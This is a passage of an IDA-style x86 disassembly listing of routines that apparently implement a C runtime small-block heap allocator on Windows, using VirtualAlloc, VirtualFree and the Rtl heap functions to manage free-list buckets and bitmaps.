jnz short loc_42CC73
mov ebx, edx
loc_42CBFC: ; CODE XREF: sub_42CB7E+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_42CC18
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_42CC16
add ebx, 14h
jmp short loc_42CBFC
; ---------------------------------------------------------------------------
loc_42CC16: ; CODE XREF: sub_42CB7E+91j
cmp ebx, eax
loc_42CC18: ; CODE XREF: sub_42CB7E+83j
jnz short loc_42CC73
loc_42CC1A: ; CODE XREF: sub_42CB7E+ADj
cmp ebx, [ebp+var_4]
jnb short loc_42CC30
cmp dword ptr [ebx+8], 0
jnz short loc_42CC2D
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_42CC1A
; ---------------------------------------------------------------------------
loc_42CC2D: ; CODE XREF: sub_42CB7E+A5j
cmp ebx, [ebp+var_4]
loc_42CC30: ; CODE XREF: sub_42CB7E+9Fj
jnz short loc_42CC58
mov ebx, edx
loc_42CC34: ; CODE XREF: sub_42CB7E+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_42CC48
cmp dword ptr [ebx+8], 0
jnz short loc_42CC46
add ebx, 14h
jmp short loc_42CC34
; ---------------------------------------------------------------------------
loc_42CC46: ; CODE XREF: sub_42CB7E+C1j
cmp ebx, eax
loc_42CC48: ; CODE XREF: sub_42CB7E+BBj
jnz short loc_42CC58
call sub_42CE87
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_42CC6C
loc_42CC58: ; CODE XREF: sub_42CB7E:loc_42CC30j
; sub_42CB7E:loc_42CC48j
push ebx
call sub_42CF38
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_42CC73
loc_42CC6C: ; CODE XREF: sub_42CB7E+D8j
xor eax, eax
jmp loc_42CE82
; ---------------------------------------------------------------------------
loc_42CC73: ; CODE XREF: sub_42CB7E+7Aj
; sub_42CB7E:loc_42CC18j ...
mov dword_676FCC, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_42CC9A
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_42CCD1
loc_42CC9A: ; CODE XREF: sub_42CB7E+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_42CCCE
loc_42CCB7: ; CODE XREF: sub_42CB7E+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_42CCB7
loc_42CCCE: ; CODE XREF: sub_42CB7E+137j
mov edx, [ebp+var_4]
loc_42CCD1: ; CODE XREF: sub_42CB7E+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_42CCFA
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_42CCFA: ; CODE XREF: sub_42CB7E+16Dj
; sub_42CB7E+183j
test ecx, ecx
jl short loc_42CD03
shl ecx, 1
inc edi
jmp short loc_42CCFA
; ---------------------------------------------------------------------------
loc_42CD03: ; CODE XREF: sub_42CB7E+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_42CD20
push 3Fh
pop esi
loc_42CD20: ; CODE XREF: sub_42CB7E+19Dj
cmp esi, edi
jz loc_42CE35
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_42CD91
cmp edi, 20h
jge short loc_42CD60
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_42CD8E
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_42CD91
; ---------------------------------------------------------------------------
loc_42CD60: ; CODE XREF: sub_42CB7E+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_42CD8E
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_42CD91
; ---------------------------------------------------------------------------
loc_42CD8E: ; CODE XREF: sub_42CB7E+1D6j
; sub_42CB7E+203j
mov ebx, [ebp+arg_0]
loc_42CD91: ; CODE XREF: sub_42CB7E+1B0j
; sub_42CB7E+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_42CE41
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_42CE32
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_42CE03
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_42CDF1
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_42CDF1: ; CODE XREF: sub_42CB7E+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_42CE32
; ---------------------------------------------------------------------------
loc_42CE03: ; CODE XREF: sub_42CB7E+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_42CE1C
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_42CE1C: ; CODE XREF: sub_42CB7E+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_42CE32: ; CODE XREF: sub_42CB7E+24Ej
; sub_42CB7E+283j
mov ecx, [ebp+var_8]
loc_42CE35: ; CODE XREF: sub_42CB7E+1A4j
test ecx, ecx
jz short loc_42CE44
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_42CE44
; ---------------------------------------------------------------------------
loc_42CE41: ; CODE XREF: sub_42CB7E+229j
mov ecx, [ebp+var_8]
loc_42CE44: ; CODE XREF: sub_42CB7E+2B9j
; sub_42CB7E+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_42CE7A
cmp ebx, dword_676FD0
jnz short loc_42CE7A
mov ecx, [ebp+var_4]
cmp ecx, dword_676FC8
jnz short loc_42CE7A
and dword_676FD0, 0
loc_42CE7A: ; CODE XREF: sub_42CB7E+2E0j
; sub_42CB7E+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_42CE82: ; CODE XREF: sub_42CB7E+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_42CB7E endp
; =============== S U B R O U T I N E =======================================
sub_42CE87 proc near ; CODE XREF: sub_42CB7E+CCp
mov eax, dword_676FD4
mov ecx, dword_676FC4
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_42CECA
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_676FD8
push edi
push dword_676FE0
call dword_43715C ; RtlReAllocateHeap
cmp eax, edi
jz short loc_42CF1A
add dword_676FC4, 10h
mov dword_676FD8, eax
mov eax, dword_676FD4
loc_42CECA: ; CODE XREF: sub_42CE87+11j
mov ecx, dword_676FD8
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_676FE0
lea esi, [ecx+eax*4]
call dword_43720C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_42CF1A
push 4
push 2000h
push 100000h
push edi
call dword_437190 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_42CF1E
push dword ptr [esi+10h]
push edi
push dword_676FE0
call dword_437210 ; RtlFreeHeap
loc_42CF1A: ; CODE XREF: sub_42CE87+30j
; sub_42CE87+67j
xor eax, eax
jmp short loc_42CF35
; ---------------------------------------------------------------------------
loc_42CF1E: ; CODE XREF: sub_42CE87+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_676FD4
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_42CF35: ; CODE XREF: sub_42CE87+95j
pop edi
pop esi
retn
sub_42CE87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CF38 proc near ; CODE XREF: sub_42CB7E+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_42CF4A: ; CODE XREF: sub_42CF38+19j
test eax, eax
jl short loc_42CF53
shl eax, 1
inc ebx
jmp short loc_42CF4A
; ---------------------------------------------------------------------------
loc_42CF53: ; CODE XREF: sub_42CF38+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_42CF68: ; CODE XREF: sub_42CF38+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_42CF68
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_437190 ; VirtualAlloc
test eax, eax
jnz short loc_42CF9B
or eax, 0FFFFFFFFh
jmp loc_42D02E
; ---------------------------------------------------------------------------
loc_42CF9B: ; CODE XREF: sub_42CF38+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_42CFE1
lea eax, [edi+10h]
loc_42CFA8: ; CODE XREF: sub_42CF38+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_42CFA8
loc_42CFE1: ; CODE XREF: sub_42CF38+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_42D01E
or [eax+4], edi
loc_42D01E: ; CODE XREF: sub_42CF38+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_42D02E: ; CODE XREF: sub_42CF38+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_42CF38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D033 proc near ; CODE XREF: sub_431BB3+8Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_42D1E1
test bl, 1
jnz loc_42D1DA
add ebx, ecx
cmp esi, ebx
jg loc_42D1DA
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_42D0AA
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_42D0AA: ; CODE XREF: sub_42D033+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_42D0FA
cmp ecx, 20h
jnb short loc_42D0D6
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_42D0FA
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_42D0FA
; ---------------------------------------------------------------------------
loc_42D0D6: ; CODE XREF: sub_42D033+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_42D0FA
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_42D0FA: ; CODE XREF: sub_42D033+7Dj
; sub_42D033+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_42D1C8
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_42D134
push 3Fh
pop edi
loc_42D134: ; CODE XREF: sub_42D033+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_42D1B6
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_42D18D
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_42D180
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_42D180: ; CODE XREF: sub_42D033+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_42D1B2
; ---------------------------------------------------------------------------
loc_42D18D: ; CODE XREF: sub_42D033+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_42D1A3
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_42D1A3: ; CODE XREF: sub_42D033+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_42D1B2: ; CODE XREF: sub_42D033+158j
shr edx, cl
or [eax], edx
loc_42D1B6: ; CODE XREF: sub_42D033+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_42D1CB
; ---------------------------------------------------------------------------
loc_42D1C8: ; CODE XREF: sub_42D033+E5j
mov edx, [ebp+arg_4]
loc_42D1CB: ; CODE XREF: sub_42D033+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_42D321
; ---------------------------------------------------------------------------
loc_42D1DA: ; CODE XREF: sub_42D033+52j
; sub_42D033+5Cj
xor eax, eax
jmp loc_42D324
; ---------------------------------------------------------------------------
loc_42D1E1: ; CODE XREF: sub_42D033+49j
jge loc_42D321
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_42D20C
push 3Fh
pop esi
loc_42D20C: ; CODE XREF: sub_42D033+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_42D29B
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_42D225
push 3Fh
pop esi
loc_42D225: ; CODE XREF: sub_42D033+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_42D274
cmp esi, 20h
jnb short loc_42D250
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_42D271
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_42D271
; ---------------------------------------------------------------------------
loc_42D250: ; CODE XREF: sub_42D033+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_42D271
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_42D271: ; CODE XREF: sub_42D033+214j
; sub_42D033+21Bj ...
mov ebx, [ebp+arg_4]
loc_42D274: ; CODE XREF: sub_42D033+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_42D29B
push 3Fh
pop esi
loc_42D29B: ; CODE XREF: sub_42D033+1DDj
; sub_42D033+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_42D318
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_42D2EF
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_42D2E2
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_42D2E2: ; CODE XREF: sub_42D033+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_42D314
; ---------------------------------------------------------------------------
loc_42D2EF: ; CODE XREF: sub_42D033+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_42D305
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_42D305: ; CODE XREF: sub_42D033+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_42D314: ; CODE XREF: sub_42D033+2BAj
shr edx, cl
or [eax], edx
loc_42D318: ; CODE XREF: sub_42D033+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_42D321: ; CODE XREF: sub_42D033+1A2j
; sub_42D033:loc_42D1E1j
push 1
pop eax
loc_42D324: ; CODE XREF: sub_42D033+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_42D033 endp
; =============== S U B R O U T I N E =======================================
sub_42D329 proc near ; CODE XREF: sub_42C785+41p
; sub_42D621:loc_42D7F0p
cmp dword_451140, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_42D33D
mov esi, offset off_451130
jmp short loc_42D35A
; ---------------------------------------------------------------------------
loc_42D33D: ; CODE XREF: sub_42D329+Bj
push 2020h
push 0
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_42D466
loc_42D35A: ; CODE XREF: sub_42D329+12j
mov ebp, dword_437190
push 4
push 2000h
push 400000h
push 0
call ebp ; dword_437190
mov edi, eax
test edi, edi
jz loc_42D44F
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; dword_437190
test eax, eax
jz loc_42D441
mov eax, offset off_451130
cmp esi, eax
jnz short loc_42D3B9
cmp off_451130, 0
jnz short loc_42D3A9
mov off_451130, eax
loc_42D3A9: ; CODE XREF: sub_42D329+79j
cmp off_451134, 0
jnz short loc_42D3CE
mov off_451134, eax
jmp short loc_42D3CE
; ---------------------------------------------------------------------------
loc_42D3B9: ; CODE XREF: sub_42D329+70j
mov [esi], eax
mov eax, off_451134
mov [esi+4], eax
mov off_451134, esi
mov eax, [esi+4]
mov [eax], esi
loc_42D3CE: ; CODE XREF: sub_42D329+87j
; sub_42D329+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_42D3F0: ; CODE XREF: sub_42D329+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_42D3F0
push ebx
push 0
push edi
call sub_429690
add esp, 0Ch
loc_42D419: ; CODE XREF: sub_42D329+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_42D43D
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_42D419
; ---------------------------------------------------------------------------
loc_42D43D: ; CODE XREF: sub_42D329+F7j
mov eax, esi
jmp short loc_42D468
; ---------------------------------------------------------------------------
loc_42D441: ; CODE XREF: sub_42D329+63j
push 8000h
push 0
push edi
call dword_437194 ; VirtualFree
loc_42D44F: ; CODE XREF: sub_42D329+4Bj
cmp esi, offset off_451130
jz short loc_42D466
push esi
push 0
push dword_676FE0
call dword_437210 ; RtlFreeHeap
loc_42D466: ; CODE XREF: sub_42D329+2Bj
; sub_42D329+12Cj
xor eax, eax
loc_42D468: ; CODE XREF: sub_42D329+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42D329 endp
; =============== S U B R O U T I N E =======================================
sub_42D46D proc near ; CODE XREF: sub_42D4C3+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_437194 ; VirtualFree
cmp off_453150, esi
jnz short loc_42D492
mov eax, [esi+4]
mov off_453150, eax
loc_42D492: ; CODE XREF: sub_42D46D+1Bj
cmp esi, offset off_451130
jz short loc_42D4BA
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_676FE0
call dword_437210 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D4BA: ; CODE XREF: sub_42D46D+2Bj
or dword_451140, 0FFFFFFFFh
pop esi
retn
sub_42D46D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D4C3 proc near ; CODE XREF: sub_42D5DC+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_451134
push edi
loc_42D4D0: ; CODE XREF: sub_42D4C3+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_42D56E
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_42D4E9: ; CODE XREF: sub_42D4C3+72j
cmp dword ptr [edi], 0F0h
jnz short loc_42D52A
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_437194 ; VirtualFree
test eax, eax
jz short loc_42D52A
or dword ptr [edi], 0FFFFFFFFh
dec dword_676918
mov eax, [esi+0Ch]
test eax, eax
jz short loc_42D51F
cmp eax, edi
jbe short loc_42D522
loc_42D51F: ; CODE XREF: sub_42D4C3+56j
mov [esi+0Ch], edi
loc_42D522: ; CODE XREF: sub_42D4C3+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_42D537
loc_42D52A: ; CODE XREF: sub_42D4C3+2Cj
; sub_42D4C3+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_42D4E9
loc_42D537: ; CODE XREF: sub_42D4C3+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_42D56E
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_42D56E
push 1
lea eax, [ecx+20h]
pop edx
loc_42D54E: ; CODE XREF: sub_42D4C3+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_42D55F
inc edx
add eax, 8
cmp edx, 400h
jl short loc_42D54E
loc_42D55F: ; CODE XREF: sub_42D4C3+8Ej
cmp edx, 400h
jnz short loc_42D56E
push ecx
call sub_42D46D
pop ecx
loc_42D56E: ; CODE XREF: sub_42D4C3+11j
; sub_42D4C3+7Dj ...
cmp esi, off_451134
jz short loc_42D580
cmp [ebp+arg_0], 0
jg loc_42D4D0
loc_42D580: ; CODE XREF: sub_42D4C3+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_42D4C3 endp
; =============== S U B R O U T I N E =======================================
sub_42D585 proc near ; CODE XREF: sub_429822+90p
; sub_431BB3+1D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_451130
push esi
mov ecx, edx
loc_42D591: ; CODE XREF: sub_42D585+1Cj
cmp eax, [ecx+10h]
jbe short loc_42D59B
cmp eax, [ecx+14h]
jb short loc_42D5A3
loc_42D59B: ; CODE XREF: sub_42D585+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_42D5D8
jmp short loc_42D591
; ---------------------------------------------------------------------------
loc_42D5A3: ; CODE XREF: sub_42D585+14j
test al, 0Fh
jnz short loc_42D5D8
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_42D5D8
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_42D5D8: ; CODE XREF: sub_42D585+1Aj
; sub_42D585+20j ...
xor eax, eax
pop esi
retn
sub_42D585 endp
; =============== S U B R O U T I N E =======================================
sub_42D5DC proc near ; CODE XREF: sub_429822+A6p
; sub_431BB3+246p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_42D620
inc dword_676918
cmp dword_676918, 20h
jnz short locret_42D620
push 10h
call sub_42D4C3
pop ecx
locret_42D620: ; CODE XREF: sub_42D5DC+2Bj
; sub_42D5DC+3Aj
retn
sub_42D5DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D621 proc near ; CODE XREF: sub_429726+A7p
; sub_42B2CA+C4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_453150
push edi
loc_42D62F: ; CODE XREF: sub_42D621+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_42D6DA
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_42D694
loc_42D65A: ; CODE XREF: sub_42D621+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_42D67D
cmp [edi+4], ebx
jbe short loc_42D67D
push ebx
push ecx
push eax
call sub_42D829
add esp, 0Ch
test eax, eax
jnz short loc_42D6EC
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_42D67D: ; CODE XREF: sub_42D621+40j
; sub_42D621+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_42D65A
jmp short loc_42D697
